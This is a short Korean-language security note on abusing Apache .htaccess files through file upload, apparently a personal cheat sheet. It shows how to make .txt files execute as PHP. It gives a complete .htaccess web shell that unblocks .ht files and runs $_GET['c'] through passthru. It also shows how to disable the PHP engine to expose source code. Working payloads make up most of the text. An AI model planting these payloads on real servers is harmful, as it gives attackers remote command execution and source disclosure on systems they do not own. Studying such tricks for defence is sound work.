WEB] .htaccess

.htaccess

• 현재 위치한 폴더의 http설정을 바꿀수 있게 해준다.

  • /etc/httpd/conf.d 는 글로벌 설정 파일이다.

• 이용 방식

  • txt 확장자를 php로 인식하여 실행되게 만들기

    • .htaccess 파일 내용 수정 후 업로드
      • AddType application/x-httpd-php .txt
    • php파일을 txt로 확장자 변경 후 업로드 및 실행

  • .htaccess자체를 웹쉘로 이용

    • .htaccess 수정 후 업로드

      <Files ~ "^\.ht">
      
      Order allow, deny
      
      Allow from all
      
      </Files>
      
      interpreted
      
      AddType application/x-httpd-php .htaccess
      
      
      
      <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>

  • PHP 엔진 끄고 php 코드 읽기

    • .htaccess 수정 후 업로드

      php_flag engine off
      
      AddType text/plain php

출처 - hyunmini